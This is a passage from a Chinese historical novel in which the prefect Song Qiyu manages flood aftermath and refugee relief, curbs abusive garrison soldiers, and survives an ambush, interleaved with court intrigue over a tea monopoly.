又是一天奋战。第二天傍晚,江水仍在一点一点上涨,眼看还有三尺大水就要越过堤面了,人们的心都悬到了嗓子眼。宋启愚蹲在坝顶,沉吟良久。他咬了咬牙,对身后吩咐道:“长白,你马上回城,会同曹可用把砂石备到城门边上。这大堤如果挡不住,我们还能依托城墙继续抗洪。”他又问孙喜敬:“清水沟等低洼地区的乡民都撤出来没有?”孙喜敬躬身回道:“禀大人,十几天前就已撤离。”宋启愚转过身说:“天锡,你们几个立即通知各个堤段,若江水继续上涨,命令所有人撤回襄阳城,先要保证人身的安全……”恰在此时,一个老河工指着远处的浊浪,几乎岔了声地喊道:“水退了,水退了,大,大人,水退了!”宋启愚等人听闻,急忙扑到堤边,向西观瞧,但见在朦胧的雾气之中,一个个巨大的漩涡在江中搅动,有些地方甚至给人以江水倒流的错觉。所有人都被眼前的一幕惊呆了,没人知道究竟发生了什么。 一个多时辰之后,汉江的水位下降了二尺有余,洪水对襄阳的威胁彻底解除。宋启愚和身边参与抗洪的人员瘫坐在大堤上。人们相视而笑。很多人都流下了激动的泪水。还有人由于实在太疲劳了,竟躺在泥水中沉沉睡去。过了好一会儿,宋启愚勉强站起。他想走下堤坝,可刚摇晃着迈出了两步竟一头栽倒,幸亏余天锡手疾眼快,才将他抱住。 这一晚,宋启愚睡得格外香甜。他巨大的鼾声几乎传遍了后衙,但这鼾声却那么令人安心,因为人们知道整座城池安全了。 天光大亮时,宋启愚醒了。他略略侧了一下身,仍觉得混身酸痛。他强撑着坐起来。扒在床边休息的韩丽华被惊醒了。她甜甜地一笑,轻柔地说:“老爷多睡会儿吧。有事我替老爷做。”宋启愚摇了摇脑袋,用手刮了一下韩丽华的鼻子说:“这么重大的事,你可替不了。”韩丽华嘟囔道:“老爷小看人!”宋启愚嘻笑着说:“本老爷要小便,你也能替?”韩丽华脸一红说:“那我给老爷准备东西。”宋启愚一边下床一边说:“我自己来。你去铺纸研墨,一会儿我要给家里写信报平安,还要让家里和京城那边把收购的草药快些运来。俗话说‘大灾之后必有大疫’,我这个父母官得提前做好准备才是。” 第十六回3 老天不负有心人 宋启愚刚刚把信写完,便听曹可用走进院子大喊:“宣道,不好了,你快去大堤上看看吧!”宋启愚心里一紧,毛笔都脱了手。他赶忙出屋,急切地问道:“大堤怎么样?是不是江水又上涨了?谁在堤上指挥?”曹可用喘了口气说:“不是,不是,大堤没事。是从上游漂来许多死人,还有一些活人。”宋启愚说:“咱们快走。”他又转身对韩丽华说:“我到堤上去,夫人替我把信发出。” 在老龙堤上,宋启愚看到了非常凄惨的场面。十几个刚被救起的人围在火堆旁,瑟瑟发抖。户司的两个吏员给他们盛来热粥。这些人端起饭碗,也顾不得烫,用手捞着,三两口便喝下肚去。而不远处,百十具尸体被堤工们从江里捞出,横七竖八的堆放在地上。宋启愚走到火堆前,让吏员再给这些人盛些粥来,又蹲下问他们是哪里人,为何会到襄阳。这十几个人有气无力地说明了原委。原来,他们都是丹阳人。这丹阳地处汉江上游,距离襄阳二百多里。前几天,汉江降水虽然减小,但丹江雨量却在增大。就在昨天,丹阳大堤全线溃坝,滔天的洪水淹没了丹阳方圆百十里的城池和乡村。宋启愚一下子全明白了。他缓缓站起身,对旁边的人说:“丹阳是重镇,这次洪水不知道会死多少人。让户司、兵司和水司组织人沿江搜救,打捞尸体。这些被救的人先交给兵司安置,要让他们有饭吃,给他们治伤。”那十几个被救的人跪爬到宋启愚面前,磕头感谢这位救命的大人。 这时,一阵撕心裂肺的哭声从尸堆方向传来。宋启愚转脸望去,就见一个魁梧的汉子正抱着一具尸首痛哭。宋启愚走过去,蹲下身子对那人说:“兄弟,节哀,这是你娘吗?”那汉子抬起泪眼看了看宋启愚,哭着说:“我与母亲相依为命二十年。眼看就到岸边了,眼看就要得救了,呜……呜……现在,我连一个亲人也没有了!娘啊!呜……”宋启愚看他哭得可怜,又说:“兄弟,老人已经走了。她最后的心愿应该是让你活下去。你要坚强些,让她安心。你放心,你娘的后事本官帮你料理。”那壮汉听闻此言止住了悲声。他把母亲轻轻放在地上,郑重地给宋启愚磕了三个头,说道:“恩公救了我的命,又帮我料理我娘的后事,从今往后,我这条命就是恩公的。恩公但有差遣,申鲤绝没有二话。”宋启愚扶他起来,说道:“申兄弟,现在,洪灾刚过,天气湿热,人死不能久搁。你若同意,我就命人用薄皮棺材先装殓了你娘,待你祭拜后,便就近掩埋,让老人家入土为安。”申鲤又一次跪倒说:“我只是个丹阳渔民,又逢大灾,没那么多讲究。这些事全凭大人做主就是。”然后,他又跪在母亲的尸体前,哭道:“娘啊,儿不孝,没能让您舒心一天。儿虽有一身好水性,可却不能救您的命。临了,儿这身上连一个大子也没有。若非恩人相助,儿只能让您净身入土了。哎,老天啊……” 第十六回4 老天不负有心人 十几天后,一度狂暴的汉江恢复了平静。在这场百年不遇的大洪水中,潜江、鄂州、荆门、丹阳等地先后溃坝,整个流域泽国千里,受灾百姓数以十万计。大灾过后,劫后余生的襄阳民众开始发自内心地感激这位未雨绸缪,又竭力修堤护堤的太守。 这一日,宋启愚带着兵司掌事顾新恩、户司掌事孙喜敬出西门去检查流民的安置情况。他缓辔慢行,边走边问:“一共收容了多少人?”顾新恩回道:“禀大人,有三百多人了,大多是丹阳流落来的。”宋启愚又问:“掩埋或者焚烧的尸首有多少?”顾新恩说:“两千多具了。很多尸首在江里泡的时间太长,只能烧掉再掩埋。真武山边上那一大片新坟基本上埋的都是这些人。”宋启愚接着问:“江边原来给民夫住的棚子,够这些流民住吗?”顾新恩说:“大人放心,再安排百十人也住得下。”宋启愚很满意地点点头,然后催马向前。可刚跑了半里地,就听后面的孙喜敬大声喊道:“大,大人救命!大人,快,快……”宋启愚侧脸向后一瞧,不由得笑了起来。但见那孙掌事趴在马背上,双手抱着马脖子,浑身上下抖个不停。宋启愚回马抓住孙喜敬的坐骑,笑着说:“是本官疏忽了,忘了你是文官,不会骑马。下次出来,你还是坐车吧。”孙喜敬红着脸说:“光骑上慢走还行,就是这马一跑起来,下官就全身哆嗦,怕得不行。不过,下官一定勤加练习,争取早日学会骑这畜生。”宋启愚又是一笑说:“看来你骑马跟我游水的水平差不多。不过,本官准备延请一个城防兵教习游泳。这样吧,今天你先回去,斟酌一下关于这些流民的生计问题,明天把计划报上来。另外,过几天,我让曹可用教教你怎样骑马。” 刚到流民营,宋启愚就听到木墙里面传出了打骂声。他骑在马上,长身向营内观瞧,只见四五个城防兵把一个满脸血污的汉子捆在木桩上,恶狠狠地骂道:“叫你小子多管闲事,莫说老子只是摸了那娘们一把,就是真把她睡了,那也是她的造化。”还有个城防兵举鞭抽打着那汉子,叫道:“你他妈还敢跟老子动手,老子轻饶不了你。想去祭拜你娘,老子偏不许你去。”有几个流民陪着笑脸哀求道:“我们这个小老乡不懂事,冲撞了军爷。军爷就看在我们都吃汉江水的份上,可怜可怜,放了他吧。”站在边上的城防兵用鞭子指着众人说:“他这样的贱种就该打。不然,不知道啥是规矩。还有,你们这些臭要饭的,流浪到我们这儿就得服老子管。”站在中间的兵头,打着官腔说:“罢了,先停手。你小子听好了。你们的命可是我们救的,孝敬我们难道不应该吗?调戏个娘们、克扣点粮食看把你给能耐的,还不乐意了。那你们滚回丹阳呀!话又说回来,我这人心善,你叫声爷爷,给老子认个错,老子就放了你。”那汉子咬了咬牙,狠狠啐了一口说:“呸,救了我们就不该欺负我们,你们这些做恶的无赖,老天饶不了你们。”那兵头大怒,骂道:“你个狗娘养的,给脸不要!老子今天非宰了你不可。”说着,他抄起一条棍子,就要往前冲。 第十六回5 老天不负有心人 宋启愚见状,大喊一声住手,催马就撞开了栅栏门。他来到营地中央,怒视着几个**。城防兵一看来人是宋知州,顿时没了威风。他们纷纷跪倒,极力为自己开脱。宋启愚也不听他们狡辩,怒斥道:“他们是受灾百姓,不是包衣奴隶,你们凭什么糟践人。不服管就要他们回丹阳,你们以为这片土地是自家的私产吗?这几百号人连呆在襄阳的权力都没有了吗?让你们这些恶棍掌握城防治安,老百姓怎能安居乐业!来人,把他们几个绑了,一会儿交给城防军司马处置。”曹可用和余天锡等人早就压不住火了,听到命令,扑过去,不由分说就将几个**踢翻在地,用绳子捆了个结实。顾新恩则赶紧过去把捆在木桩上的汉子放了下来。 流民们见大人为自己主持了公道,发自内心地欢呼起来,还有不少人哭泣着拜倒在宋启愚马前。宋启愚跳下马,说道:“乡亲们都起来。今后,不会再发生这样的事情了。顾新恩,这几天安排你兵司的人在这儿照应,不要再把大伙交给城防军了。”宋启愚向前走了几步,继续对众人说:“乡亲们。大灾刚过,你们恐怕要在本地生活一段时间。本官已命人妥善地安置你们。等到丹阳的状况好转了,你们可以自由选择,是回乡还是继续留在襄阳。另外,今后你们有什么需要或冤屈,尽管到州衙来找我。本官定会替你们做主。”老百姓从没见过这么亲和的父母官,一个个激动得热泪盈眶。他们还七嘴八舌地喊着“感谢”、“青天”之类的话。其后,宋启愚又在营里看了看流民的住宿、用具和饮食情况,才一边向顾新恩交代着事情,一边向营外走。 来到栅栏门前,宋启愚正欲上马,却见刚才被**抽打的汉子从门边跑出,趴伏在地用双手扶稳了马镫,坚毅地说道:“请宋大人上马。”宋启愚低头细瞧,才辨认出这壮汉正是自己前些天救下的申鲤。宋启愚说:“原来是你。你叫申……”申鲤依然手扶着马镫,恭顺地回道:“小人申鲤,请大人上马。”宋启愚笑着说:“申兄弟不必如此,救你是我分内的事。再说,我骑马也从来不要人服侍,你快起来吧。”申鲤执拗地跪在马前说:“小人说过,小人的命是恩公的。现在,小人只能以这种方式,报答恩公。”宋启愚正在尴尬,后面的曹可用张口说:“宣道,既然这兄弟一片赤诚,咱们可以换种方式接受他的报恩。”他又走到申鲤跟前,笑嘻嘻地说:“申兄弟,你不知道我家大人的本事,马上的功夫他能给我当师傅,真要让人牵马坠蹬也得是我,根本轮不上你。你还有什么其它能耐吗?”申鲤脱口而出:“我水性大,会使船。嗷,对了,我还会抓鱼,可以天天给大人抓鱼吃。你听我这名字,我到水里就是条大鲤鱼。我还能驮着人过江咧。前面发大水,我就是驮着我娘……可,可我娘,呜……”申鲤说到伤心处,突然哭了起来。宋启愚双手把他扶起来,想了想说:“申兄弟莫哭。我收下你就是了。不过,不用你抓鱼给我吃,也不给你安排别的任务,只需你教习我们游水的本事,你可愿意?”申鲤一蹦老高,兴奋地说:“成啊,成,全听大人的。” 第十六回6 老天不负有心人 中秋后的一天,同知万刚、南漳知县袁儒忠和樊城知县黄秩五正在州衙向宋启愚汇报属县的受灾和生产恢复情况。宋启愚认真地听完,皱着眉头说:“今年这场洪水,粮食减产是肯定的,老百姓的生活也会受影响。咱们得想办法开源节流才行。我已经让邝先生和曹可用在檀溪边开建磨坊了,后面还会再建造几座大型工坊,以刺激生产,恢复经济。接下来,咱们这几个父母官也得经常往地头跑一跑。还可以让户司把余粮销到其它地区去。再组织农户在冬播前抢种一茬蔬菜,以增加收入。除此之外,现行政策不做改动,让老百姓休养生息一段时间。还有就是,今年的石堤只修到了普陀庵,等冬播过后,我们还得继续筹款修堤。水患不解决,我襄阳的百姓就没有好日子过呀。”宋启愚站起身,抱臂来回踱了几步,又说:“至于节流吗,我想在裁撤驻军方面做做文章。这是州里最大的一块开支,几位以为如何?”万刚想了想说:“这恐怕不易。一则城防治安都要靠军队来维持,一旦闹响马,咱们还得让他们卖命的;二则城防军名义上受地方节制,但实际上却只听朝廷和省抚的调用。人家可不一定买我们的账呀!”袁儒忠也说:“是呀,大人,我们南漳虽然只有二百多城防兵,可他们的军司马却经常不执行本县的律令。有时,他们还会整些幺蛾子刁难本县。”黄秩五则愤愤地说:“其实,那些**除了吃拿卡要,扰民害人外,正经的好事就没干过几件。靠他们治安,恐怕是越治越不安吧。而且,他们吃空饷也很严重。以樊城为例,实际兵员只有二百多,可他们的名册上却有五六百人,是该仔细查一查了。”宋启愚点点头说:“其实,朝廷也早有裁撤冗军的意向,只是缺少理由。现在,我们正好可以大灾之后难以养兵为由上书朝廷和省院,砍掉他们的空额。另外,市集的管理也不能再交给城防军,以减少他们祸害地方的空间。”万刚捋着胡须说:“好倒是好,但地方治安怎样维持?”宋启愚略加思索说:“我们可以用防洪防灾的名义组建一支警巡队,既保障江防,又维护治安。”几位属员觉得此法对地方有益,随没再提出异议。会议结束前,余允文呈上了记录文稿。宋启愚先在后面签了名,又传视众人。万刚几人在仔细阅读后,觉得没有疏漏,也在后面附了名。 这时,吴襄从外面跑进来,禀报道:“大人,省里来人了。”宋启愚忙问:“来的是谁?现在哪里?什么公干?”吴襄答说:“是户部主事文大人和两个书吏。他们已到州衙大堂,说是来统计州里的茶园田亩和茶叶产量还有受灾情况的。”宋启愚听后,微微一笑,似是自言自语,又象对众人说道:“看来,要让他们失望了,本州根本不产茶。”他又向几位属官略一拱手说:“诸位大人,随我到前堂接待三位省官。接下来的田亩统计和数值核验就有劳几位大人了。” 走出二堂前,宋启愚转身对吴襄说:“长白,你和天锡立即着手招募一支警巡队,人数不必太多,纪律一定要严,由你们两个管带。这支队伍不是军队,只配备棍棒和短刀,待训练成形后,专司城区治安和日间巡逻。”吴襄赶紧抱拳拱手,应诺了下来。 对于招募人员、训练队伍,吴襄和余天锡可以说是轻车熟路,再加上宋启愚亲自制定的警巡条例和训练纲要,一支五百人的警巡治安队很快便组建起来。从此,襄阳城的老百姓每天都能看到几百名警巡排着整齐的队伍跑过古城的大街小巷。他们还会嘹亮地呼喊:“我们吃谁的饭?我们吃襄阳父老的饭。我们穿谁的衣?我们穿襄阳父老的衣。我们听谁的命令?我们听襄阳父老的命令。” 第十七回1 内争初起 在年关前的最后一次朝会上,执政雷思平正式向同泰帝提出了禁榷茶业的方案。他滔滔不绝地讲述了禁榷茶业的历史沿革、目前茶业对国家财政的巨大影响、茶叶专卖能给朝廷带来的巨额利润以及自己为禁榷茶业所做的大量前期工作。同泰帝非常仔细地听着,他的脑海中浮现出国库充盈、帝国富庶的场面。同泰帝当即嘉许了雷思平,并恩准自来年开春,在全国推行茶业的禁榷制度。 下朝后,雷思平得意洋洋地跟在宰相王克明身后,与其有说有笑地出了皇城。而副相冯体仁却十分失落。他出了宣德门,正欲升骄回府,忽听身后有人轻唤:“冯相稍等。”冯体仁转脸观瞧,原来是执政温国刚,便换了一幅笑脸说:“温执政,不知有何见教?”温国刚拉住冯体仁,低声说:“冯兄借一步说话。”冯体仁识趣地跟着温国刚往边上走了几步,嘴里还有意说着国泰民安、皇帝圣明、群臣用命之类的话。温国刚压低声音说:“冯兄,看你颇为不悦,是因为雷执政抢了你的风头吧!”冯体仁赶忙向左右看了看,说道:“温兄慎言。看来冯某还是养性不够啊!让温兄见笑了。”温国刚呵呵一笑说:“这些年,朝里谁人不知政务方面的改革都是冯兄主导,那雷思平盐政出身,贪墨成性,怎么能让他立此大功呢?况且,他还是王相一党,与你我陌路殊途。”冯体仁凑近了些,又说:“温兄有什么话,不妨直言。”温国刚说道:“冯相这么聪明的人,还用我多说吗!虽然皇上嘉许了雷思平,但只要由我们的人去执行茶业的禁榷制度,那最后的功劳不还是我们的吗?”冯体仁赶忙说:“可是,皇上不是已经让户部主抓此事了吗?”温国刚狡黠地一笑,说道:“让别人去抢功当然不成,但我们可以让三皇子齐王殿下石坚向皇上请命,主持此事呀。”冯体仁恍然大悟,笑着说:“还是温兄高明。自今年以来,陛下有意锤炼诸位皇子。若齐王此时请命,足见其勇于任事,替君父分忧的赤诚啊。同时,还能打压豫王和王、雷二相。温兄此计真是一箭三雕的秒策!”温国刚略一拱手说:“温某言至于此,先行告辞。”冯体仁一躬到地说:“冯某多谢温兄点拨。” 与此同时,在皇城东街的扬王府门前,童道生正手提小书箱走上台阶。门官一面吩咐打开角门,一面迎上来尊敬地说道:“童大人来了,快请进。”童道生打趣说:“又是你啊,今天咋不管我要门利啦。”门官陪着笑脸说:“童大人别取笑小的了。上次都怪小的眼瞎,不认得您这个文曲星。我家王爷一直念叨想请您当他的陪读官呢。咱都是一家人了,您就别跟小的计较了。”童道生呵呵一笑说:“算你嘴甜,不为难你了。王爷现在何处?”门官赶忙回道:“王爷吩咐过,若您来,直接到无艺阁找他便是。”童道生笑着拱拱手,抬脚走进了王府。 第十七回2 内争初起 刚过正厅,童道生就听到有阵阵丝竹和鼓点声传来。他摇摇头,自言自语道:“不知这位王爷今天又搞什么名堂。” 进了无艺阁,童道生才明白,原来舞台上正在表演《网开三面》的木偶戏。童道生扫视了一圈,台下除了几十个王府幕宾和下人杂役做观众外,并不见扬王石坦的影子。这时,就听台上传出扬王的声音:“你这样太过分了吧!只有无道的夏桀才会如此一网打尽。像你这样张网,没有一只鸟兽能跑掉。你撤掉三面,留下一面网就可以了。”随即,舞台上的网子被撤去了三面。又听扬王控制的“商汤”跪下祷告说:“天上飞的、地下走的鸟儿,你们愿意往左的就往左走,想往右的就往右走,想往高处飞的就飞到高处去,能钻地的就钻入地下,而今只网取那些不听我话的鸟儿……”待这段表演结束,丝竹声重新响起,一个不修边幅的年轻人兴冲冲地从后台走出。那些所谓的观众立即围上去拼命地鼓掌。又有人奉承道:“王爷的表演真是绝了!太好了!上古圣贤被王爷演得惟妙惟肖,太象了!”那年轻人也哈哈笑着说:“不错吧!本王图的就是个热闹。”扬王抬头看见童道生,对围着的人挥挥手说:“你们都领赏去吧。一会儿,再叫你们来伺候。”那些人行了礼,高兴地退了出去。童道生赶紧趋前跪倒磕头说:“臣童道生拜见扬王殿下。”扬王将手一抬,说道:“童先生起来吧。本王不讲这些虚礼,也对权力没什么兴趣。哎,让你找的书找着没有?”童道生起身打开书箱,回复说:“殿下的洒脱旁人难及呀!这是我从国子监书库里淘来的《山海经》,基本上是完整的,部分难懂的地方,臣已加了批注。”扬王接过书去,啧啧称奇说:“前番本王央求关师傅给我找这套书,他还教育我不可玩物丧志,你说他迂不迂腐。现在好了,本王单独开府,也不用整日听他唠叨了。”童道生陪着笑说:“关大学士也是好心,为了殿下的前程着想。”扬王石坦一边把书箱交给手下的太监一边说:“童先生,其实啊,你们都不明白。本王的心思完全不在政治上,只要一辈子能做个太平王爷,那不比什么都强啊!况且,本王的才能怎么能跟豫王和齐王兄相提并论呢,还有我那六弟、十弟,哪个不是聪明绝顶的人啊!”童道生仍然恭敬地说:“龙子们确实个个聪慧,殿下也是有大智慧的人,何必妄自菲薄呢。” 扬王将童道生让进旁边暖阁,又吩咐手下献上茶点。他端起茶杯呷了两口,慢条斯理地说:“先生跟本王年纪相仿,前些时,本王原打算请你做伴读。可细想想,自己并非追求上进的人,怕耽误了先生前途,又怕因我一味贪玩,饶陛下责怪先生失职,故而打消了此念。不过,本王没有把先生当外人,先生平时尽可到府里来,本王喜欢跟先生谈话。” 第十七回3 内争初起 童道生听得此言,内心十分感动。他惊诧地上下打量着这位貌似荒唐的王爷。他突然觉得眼前的扬王是太聪明了,他的脑海中迅速闪过秦二世屠扶苏、汉武帝杀太子、唐太宗战玄武等等宫廷内斗的历史画面。童道生终于明白了,原来扬王是用自污的方式自保。童道生说:“殿下关爱,臣铭记在心。臣也愿意经常到王府叨扰,此间乐趣极多,非他处可比呀。”二人又聊了一会,童道生起身欲告辞。扬王说:“先生在翰林院已经做了三四年,若有机会,本王自会保举你的。”童道生赶忙拜谢。临出门前,童道生忽然略有所思,回身拱手说:“殿下若果真无心政治,就当把荒唐事做到明面上,而不是囿于王府中,得让亲族和朝臣都习惯于您的不羁,让他们真正觉得您对他们没有威胁才行。”扬王身施一躬,说:“先生肺腑之言,本王受教了。”童道生又想了想说:“殿下,在忠孝之心上不可马虎,要让陛下觉得您只是爱好庞杂而已。此外,象《网开三面》这种牵扯君臣题材的剧目最好不再排演,只演些打趣、玩笑之类的杂剧便好。”扬王又是一躬说:“先生之言让本王顿开茅塞,就依先生好了。” 也是在同一天,宋启愚带着顾新恩、孙喜敬等人到隆中各村检查完冬播冬储情况,正欲返回襄阳城。顾新恩被冻得哆哆嗦嗦。他边催马向前边说:“今年这鬼天气,夏天下暴雨不说,冬天还贼冷贼冷的。”跟在后面的宋承康呵呵笑着说:“放在我们山西,前两三个月就比这还冷呢!”宋启愚也回头说:“山西已经下了几场大雪了,襄阳只下过一场,这就是南北的差异呀。”行出了十七八里,孙喜敬的车帐被甩到了后面。宋启愚摇了摇头,对旁边的曹可用说:“你还得抽空教教孙大人骑马,他这个速度跟不上我们。”他又对顾新恩说:“时间还早,我们到旁边等等孙大人。” 几个人站在背风处正在向南眺望,忽听山坡的稗草之中传出一阵瘆人的哼叫声,可细听却又没了动静。宋启愚只当是听差了,也没当回事。过了一会儿,又有一声呻吟,宋启愚机敏地转头,喝问道:“什么人?”曹可用和宋承康等人循声找去,发现在荒草之后开有一个土洞,洞口已几乎被封住,仅剩一丝窄缝。宋承康向内喊话,却没有回音。就在众人面面相觑的时候。突然,一只惨白枯干的手推开了砖头,从洞里伸了出来。宋启愚急令众人扒洞救人。曹可用和宋承康马上开始用手去掏封砖,可跟着的几个从人却站着不动。曹可用骂道:“你们几个没长手呀,快来帮忙!”从人王开大着胆子对宋启愚说:“老爷,这种现象在襄阳已经存在几百年了。”宋启愚惊诧地问:“怎么讲?”王开结结巴巴地说:“其实,在许多贫穷的地方,都有这种现象。穷人家的老人到了七十岁,一旦……一旦丧失劳动能力,为了不给家里添累赘,儿孙……儿孙就会,把他们送到野外的活人墓,每天来给他们……给他们送,一顿饭,再加上一块,一块封门砖,直到墓门完全被封住,老人也就死在墓里了。”宋启愚气得双手发颤,怒吼道:“天下还有如此禽兽不如的子孙,还有这么惨绝人寰的现象!我要把这种恶俗纠正过来。”这时,洞内的老人已被挖出。宋启愚不顾扑面而来的恶臭,凑上前问道:“老人家,你怎么样?”那老汉双眼迷离,神志不清,用最后一丝力气断断续续地说:“儿啊,你……来……接……爹了!真想……想……咱家……的……糙米……粥……”老人脑袋一歪,断了气。 第十七回4 内争初起 这件事对宋启愚的震动极大,他暗暗发誓一定要让襄阳人民过上“幼有所依,老有所养”的日子,也一定要教化乡民,革除陋习,让他们明理守法。当天,宋启愚便吩咐户司统计全州超过六十五岁老人的数量,并于次日贴出公告,言明从同泰六年开始,每年给每位在册的老人拨发二两银子的养老钱,直到老人离世。 正月初六,襄阳地区的城防军司马沈建平在府中跟一干手下喝了一天大酒。入夜后,这群“丘八”意犹未尽,换上大杯,继续恣意狂饮。坐在上首的沈建平斜端着酒杯,大着舌头吩咐道:“来人,换,换菜,换酒。本……本将跟,跟兄弟们,接着,接着喝。”一个敞开上衣露着护心毛的家伙拍着旁边的军官说:“老丁,听说东街上的那些买卖也不交保护钱了?这不是断了咱哥们的财路吗!”被问的军官喝了一口闷酒说:“你李大拳头不是也管不了西街的买卖了吗?这个宋知州还真是个狠角色,敢对咱们城防军下手。”沈建平把酒杯往桌上一墩说:“丁陆、李八斤,你……你们放肆,宋大人是,是上官,我们怎么能对上官,说三,说三道四呢?再说,过不了几天,也……许,我就,我就到西,西北任职了。”丁陆嬉皮笑脸地向前凑了凑说:“大哥教训的是,您高升可要带着我们呀。襄阳现在不好混,啥油水都没有。”那李八斤不吃这一套,摇晃着脑袋说:“狗屁的高升!大哥被那姓宋的骑着脖子拉屎,本来能管五千兵员,这一核算就只能管两千多人了,连兵血都喝不上了。这大哥才以职衔不附的名义,求人请托调离本地,这是被人欺负走的,知不知道!”在座的其他十几个军官也纷纷附和说:“就是呀,大哥。咱们往年除了军饷还能轻松再捞万把两银子。可今年呢,咱们可是啥额外的进项都没有呀!咱们出生入死保这一方平安,多辛苦,可最后却啥也落不着!”沈建平被众人的话激怒了。他一拍桌子,骂道:“他娘的。你们以为我不恨这个该死的宋某人。老子,老子本来今年就该升任镇……镇守使了,他这一搞老子还,还是个大号的城防军司马。幸亏我,我去找,找我的老长官,张,张,张永德大帅,蒙大帅不弃,我才有的,出路。”丁陆和李八斤相互对视了一眼,继续挑拨说:“大哥,你就真的咽得下这口气?咱就算不跟他‘白刀子进去红刀子出来’,至少也得吓唬吓唬他,免得这家伙再折腾咱们留下的弟兄。”其他十几个军官也起哄附和着。沈建平又喝了两杯酒,渐露醉态。他圆睁二目,摇晃着站起来,说道:“你,你们都是我的,好,好兄弟。咱这就,带,带着你们,去,去打他狗日的。”说着,他就踉踉跄跄地往厅外走去。可还没等出门,沈建平就已醉卧在地,人事不省。众人赶紧吩咐侍女把司马大人掺进内宅休息。丁陆捅了捅李八斤说:“李大拳头,咱大哥可是同意了。你什么时候去整整这位太守?”李八斤嘿嘿一笑说:“老六,你可真鬼呀!就我去呀,那宋大人每天身边都有好几个人呢,听说那姓曹的、姓吴的都是高手,不好惹呀。”丁陆压低声音说:“老弟放心,哥哥不是那不讲究的人,我肯定帮忙。过些日子,要是咱大哥真的调任,一定会请姓宋的来饯行。到时候,我想办法缠住他的随从。你多带几个人蒙上面在他回去的路上教训教训他。他一个文人,还能跑了不成。”李八斤一阵狂笑,端起酒杯一饮而尽,说:“好,就这么干。” 第十七回5 内争初起 朝廷禁榷茶叶的旨意于正月末下达到了全国各地。与宋启愚预想的几乎一样,所有的茶园均不允许转产,所有的茶农必须完成官府下达的产量指标,而茶叶的收购价格则被严格限制在七至十五文之间。在这种情况下,茶农更倾向于种植产量大的劣等茶,而在京城的茶叶专营机构,由于“大红袍”、“碧螺春”等优质茶品供应量稀少,销售价格在一年之内翻了近百倍。一方面是茶农毫无利润空间,生产积极性陡然下降;另一方面是茶贩只能买卖国家统一经营的质次价高的茶叶;再一方面是产茶区的经济受到了相当大的影响;还有一个方面是人民的生活成本也大幅上升;唯一在禁榷茶叶中获得好处的只有朝廷财政。在短短数年中,官府从茶业一项上赚取的利润便达到了白银千万两以上。在这场危机中,免受冲击的襄阳,上至同知万刚下至普通百姓真正领略了知州的先见之明,他们开始信服这位年轻的父母官。 二月初,城防军司马沈建平即将调任。他广发请帖,邀各个部门的主官过府晚宴。做为知州,宋启愚不好推辞,便带着曹可用和余天锡出席了宴会。席间,沈建平对宋启愚恭敬有加,并极尽吹捧之能事。丁陆等人则拉着曹、余二人轮番敬酒。丁陆还向曹可用请教骑马要领,讨教功夫招式,现场气氛十分热烈。酒过三巡,宋启愚以州衙事忙为由,告辞离开。他本欲叫着曹可用、余天锡一道走,可看到二人正被十几个军官围着猜拳吃酒,便没有惊动他们。 宋启愚只身出了沈府,翻身上马,顺着南城缓辔慢行。快到南大街的时候,突然,从街边暗处“噌、噌、噌”跳出十几个手持钢刀的蒙面大汉。宋启愚大吃一惊,勒马喝问:“你们蒙面持刀想干什么?”蒙面人中一个领头的哂笑着说:“姓宋的,死到临头还这么横。给老子从马上滚下来。你趴在地上,给我们哥们磕三个响头,说几句好听的,我们哥们马上放你走。否则……”宋启愚微微一笑说:“呵呵,你的口气不小吗。听你说话的意思是认识我,而且不想真要我的命,只是要出出我的丑。不过,本官一向脾气倔,就不喜欢任人摆布。”另一个蒙面人用刀一指宋启愚说:“姓宋的,你他妈识相点。你往身后看看,我就不信你个小文人能逃出我们这么多人的手心。”宋启愚侧脸向后观瞧,果然见有十几条黑影堵住了自己的后路。宋启愚暗暗咬牙,心想双拳难敌四手,要想不吃亏,最好先冲出去。但他又不甘心就这么不明不白、窝窝囊囊地走。他装出一幅笑脸说:“兄弟,你看你们这么多人,又拿着刀剑,明晃晃的,怪吓人的,咱商量商量,你先过来一个人,咱谈谈条件……”刚刚说话的小子以为宋启愚服了软,得意洋洋地跟周围的人说:“你们看,知州在我面前也是个软蛋。我去听听他要放啥屁。”可令他万万没想到的是,他刚走到宋启愚马前,这位知州竟身如闪电般单脚离蹬,整个人从马背上旋到了马前,只一脚便踢飞了他手里的钢刀。而在所有人还一脸蒙逼的时候,宋启愚已经飞身回到了马上。他双脚点蹬,马往前冲,同时伸出大手一把就抓住了马前的蒙面贼。宋启愚一手抓着那贼人的胳膊,一手揪着他的衣领,左右轮着这家伙,纵马向前,转瞬间就冲出了包围圈。几十个贼兵见同伙被抓,怕牵连自身,便在后面紧追不舍。 第十七回6 内争初起 此时,还在沈府喝酒的余天锡察觉到了异样。他一拍曹可用说:“叔,大人去哪了?”曹可用反应了一下,豁然起身说:“你咋不跟着大人!快去看看大人的马还在不在。”丁陆等人又过来敬酒,被曹可用一把推开。余天锡怒声说:“我们先去寻找大人,若有闪失,定来找你们算账。” 到了南大街,宋启愚见远处有一串火把移动,料想是警巡队正在巡逻。他停住战马,把那个已经半死的贼人按在鞍前,从怀里掏出小铁哨,“嘟、嘟、嘟”地吹了几下。哨音划破夜空,传出了老远。然后,宋启愚调转马头,直视着追兵,高声说道:“尔等可知,谋刺朝廷命官是要诛灭九族的。你们的计划已经失败,速速扔下兵器,逃命去吧。”领头的贼人看其他人畏惧后退,威胁他们说:“谁也不许跑,都跟老子上。二楞还在他手里。如果咬出了咱们来,我们一个也活不成。”宋启愚哈哈大笑说:“原来这家伙叫二楞啊。本官就算不审问他,也能分析出你们是什么人,抓你们一点都不难。你们听着,尔等熟悉襄阳地形,应是本地贼人,而我襄阳附近并无巨寇;你们这么大的队伍能在晚间自由出入城防,看来你们跟城防军的关系非同一般;不敢杀本官只想羞辱本官,看来你们应是官身或兵籍;听你们说话的语气,看你们行动的步态,若我没有猜错,你们就是城防军的人吧?”听宋大人揭了自己的底,有七八个蒙面贼双腿一软就跪在了地上。宋启愚又轻轻一笑说:“既然你们怕我审这个二楞,那就还给你们。回去告诉指使你们的人,多为百姓谋福利,少给自己打算盘,也用不着巴结本官,若再有类似事件,本官绝不容饶!”说着,宋启愚就把鞍前押着的二楞扔到了众贼面前。那些贼兵略略迟疑,扔下兵器,架起二楞一溜烟地跑了。 这时,警巡队也赶到了。为首的小伙子见宋启愚没事,又捡起地上的钢刀看了看,命令道:“你们两个保护大人,其他人跟我追,一定得抓住这帮该死的东西。”宋启愚开口说:“申鲤,不要追了,他们伤不了我。” 